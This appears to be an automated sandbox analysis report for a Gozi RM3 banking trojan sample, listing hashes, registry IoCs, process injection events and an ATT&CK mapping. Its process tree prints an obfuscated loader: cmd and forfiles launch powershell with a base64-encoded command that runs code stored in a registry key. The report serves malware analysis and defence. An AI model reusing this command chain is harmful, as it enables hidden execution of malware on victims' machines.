gozi_rm3 | c8ac98c4e43e4290cdaefce51ebf9165143c31d3fbce0f9f80cf5a3258058c4a

General

Target

EWHxeQ.exe
Size

252KB
MD5

aa9e193908e16757ca1803d25f3b65d6
SHA1

1bd752e969771db5af1ffbf7ebe956dd8fefe040
SHA256

c8ac98c4e43e4290cdaefce51ebf9165143c31d3fbce0f9f80cf5a3258058c4a
SHA512

5a8157caa8b8639733b1f9159b15212b7818ae52431e45134e4db9282121737bceed192d4a68adce41d971a1e4bf807a2401f951d4c1400ff58ee40fcb96ffad

Score

10^/10

gozi_rm3 banker trojan

Malware Config

Extracted

Family

gozi_rm3

Attributes

build
300994

Signatures

Gozi RM3
A heavily modified version of Gozi using RM3 loader.
banker trojan gozi_rm3

Modifies Internet Explorer settings 1 TTPs 21 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1551386899"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{8B9659B1-A453-11EC-B9E2-EE0DB745C778} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Recovery\PendingDelete	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingDelete\C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{8B9659B3-A453-11EC-B9E2-EE0DB745C778}.dat = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30947424"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1552324601"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30947424"	iexplore.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1440	iexplore.exe
1440	iexplore.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1440 wrote to memory of 4348	1440	iexplore.exe	92
PID 1440 wrote to memory of 4348	1440	iexplore.exe	92
PID 1440 wrote to memory of 4348	1440	iexplore.exe	92
PID 4764 wrote to memory of 556	4764	cmd.exe	97
PID 4764 wrote to memory of 556	4764	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\EWHxeQ.exe
"C:\Users\Admin\AppData\Local\Temp\EWHxeQ.exe"
1⤵
PID:3660

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:4588

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1440 CREDAT:17410 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  PID:4348

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /min forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBhAGMAYwBvAG4AJwApAC4ATQA= & exit" /p C:\Windows\system32 /s /m po*l.e*e
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Windows\system32\forfiles.exe
  forfiles /c "cmd /k @path -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBhAGMAYwBvAG4AJwApAC4ATQA= & exit" /p C:\Windows\system32 /s /m po*l.e*e
  2⤵
  PID:556

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3660-134-0x000000000073D000-0x0000000000749000-memory.dmp

Filesize
48KB

Download
memory/3660-135-0x000000000073D000-0x0000000000749000-memory.dmp

Filesize
48KB

Download
memory/3660-136-0x0000000000690000-0x000000000069C000-memory.dmp

Filesize
48KB

Download
memory/3660-137-0x0000000001000000-0x000000000106F000-memory.dmp

Filesize
444KB

Download
memory/3660-138-0x00000000006A0000-0x00000000006B0000-memory.dmp

Filesize
64KB

Download

Analysis

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